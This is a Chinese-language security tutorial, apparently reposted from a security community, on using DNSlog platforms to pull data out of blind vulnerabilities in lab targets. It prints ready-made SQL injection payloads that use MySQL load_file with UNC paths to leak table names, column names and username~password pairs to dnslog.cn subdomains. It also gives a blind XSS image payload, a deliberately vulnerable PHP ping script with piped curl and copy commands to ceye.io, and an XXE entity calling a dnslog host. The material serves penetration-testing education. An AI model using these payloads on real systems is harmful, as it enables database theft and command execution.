morta12024-02-19文章来源:SecHub网络安全社区
DNS是将域名解析为ip,用户输入www.baidu.com
,就要靠DNS服务器将www.baidu.com
解析到他的真实ip,这样就可以访问服务器上的服务
DNSlog是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com
的访问信息,类似日志文件
DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过日志获取信息
DNS的解析是递归与迭代相结合的,如访问www.xxxxxx.com.cn
时,DNS的解析过程如下图所示
其中红色部分是可控的,只需要在DNSlog平台生成一个域名,就可以通过DNS解析日志来获取到他们
有服务器和域名,可以使用BugScan团队开源的工具搭建
https://github.com/BugScanTeam/DNSLog
在线平台
http://dnslog.cn/
http://ceye.io/introduce
盲注需要频繁请求才能获取数据库中的值,在有waf的情况下很容易被ban ip。这种情况下可以结合DNSlog将数据取出。如果遇到MySQL的盲注,可以利用内置函数load_file()来完成DNSlog。load_file()不仅能够加载本地文件,同时也能对诸如www.baidu.com
这样的url发起请求
攻击者提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS日志,就得到了想要的值
MySQL开启load_file()
目标服务器为Windows
在dnslog平台申请域名
虚拟机win10搭建的sql-li靶场
show variables like '%secure%'
当secure_file_priv为空时,文件读取没有限制
当secure_file_priv为C:\时,只能读取C盘目录下,在其他目录报错
当secure_file_priv为null时,不允许读取
如果secure_file_priv不为空时,可在my.ini修改配置
修改为secure_file_priv=’'即可
DNSlog平台申请域名
以Less-8为例
无回显,判断出闭合方式为单引号
?id=1' and if((select load_file(concat('\\\\',(version()),'.xxxxx.dnslog.cn\\abc'))),1,0)--+
?id=1’ and if((select load_file(concat(’\\’,(version()),’.xxxxxx.dnslog.cn\abc’))),1,0)–+
加粗部分是想要获取的数据
获取列名
?id=1’ and if((select load_file(concat(’\\’,(SELECT hex(column_name) FROM information_schema.columns where table_schema=‘security’ LIMIT 3,1),’.yyyyyy.dnslog.cn\abc’))),1,0)–+
DNS记录只能回显一个字段,需要使用limit 1,1字段逐个读取,第一个参数是查询起始位置,第二个是查询个数
在不加hex的情况下,有可能会查询不到。hex编码的目的就是减少干扰。很多时候数据库字段的值可能是特殊符号,这些符号拼接在域名里无法做DNS查询
当我们的查询语句为中没有hex函数,在查询第一个参数的时候是有回显的,将limit1,1换成3,1的时候,再回到DNSlog平台刷新,接收不到数据,这时添加hex函数就可以解决问题
使用hex函数的查询语句
?id=1' and if((select load_file(concat('\\\\',(SELECT hex(column_name) FROM information_schema.columns where table_schema='security' LIMIT 3,1),'.yyyyyy.dnslog.cn\\abc'))),1,0)--+
hex解码
未使用hex函数的查询语句
?id=1' and if((select load_file(concat('\\\\',(SELECT (column_name) FROM information_schema.columns where table_schema='security' LIMIT 3,1),'.yyyyyy.dnslog.cn\\abc'))),1,0)--+
参考payload
查询第一个数据表
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.zzzzzz.dnslog.cn\\abc'))),1,0)-- +
查询user表第一个字段
?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.zzzzzz.dnslog.cn\\abc'))),1,0)-- +
查字段数据
?id=1' and if((select load_file(concat('\\\\',(select username from users limit 0,1),'.zzzzzz.dnslog.cn\\abc'))),1,0)-- +
group_ws()函数分隔
?id=1' and if((select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.iiiiii.dnslog.cn\\abc'))),1,0)-- +
load_file函数在linux下无法用来DNSlog攻击。这里涉及Windows的UNC路径
unc是一种命名惯例,主要用在 Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
在Windows中,共享文件的时候会用到这种网络地址的形式
\192.168.46.135\c$
这里也解释了为什么concat()函数拼接了4个\,因为转义的原因,4个\就变成了2个\,目的就是利用unc路径
因为linux没有unc路径这个东西,所以只能在Windows平台
xss盲打是指在攻击者对数据提交后展现的后台未知的情况下,网站采用了攻击者插入的带有真实攻击行为的xss代码数据。档位置后台在展现是没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的真是攻击功能。
pikachu靶场–xss之盲打
payload
<ImG src=http://xss.jjjjjj.dnslog.cn>
php文件来自https://www.ctfer.vip/problem/438
将abc.php和flag.php部署到WWW目录下
abc.php
<?php
highlight_file(__FILE__);
include('flag.php');
echo "ping";
$ip = (string)$_GET['ping'];
$ip = str_replace(">","0.0",$ip);
shell_exec("ping ".$ip);
flag.php
<?php $flag='{12345}'; ?>
在正常情况下ping www.baidu.com
但在abc.php中,ping www.baidu.com
没有回显,这时我们不能判断命令是否执行
可以使用ceye平台的dns域名进行验证
输入两个命令,利用管道符进行分隔,前面正常进行ping,后面的我们可以直接命令执行。
http://192.168.186.133/abc.php?ping=www.baidu.com | curl %hostname%.zzzzzz.ceye.io
查看是否收到请求
可以看出我们的 curl %hostname%.zzzzzz.ceye.io
已经执行了
将flag.php写到1.txt中,再读1.txt,得出flag
http://192.168.186.133/abc.php?ping=www.baidu.com | copy flag.php 1.txt
访问1.txt
pikachu靶场
将url换成我们的DNS服务器,通过查看DNSlog平台日志查看是否有服务器ip判断是否有ssrf漏洞
pikachu靶场
构造闭合标签<a>xxe</a>,页面回显
再次提交数据,已经没有回显
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://zzzzzz.dnslog.cn" >
]>
<value>&xxe;</value>
无回显,在DNSlog收到请求,证明xxe存在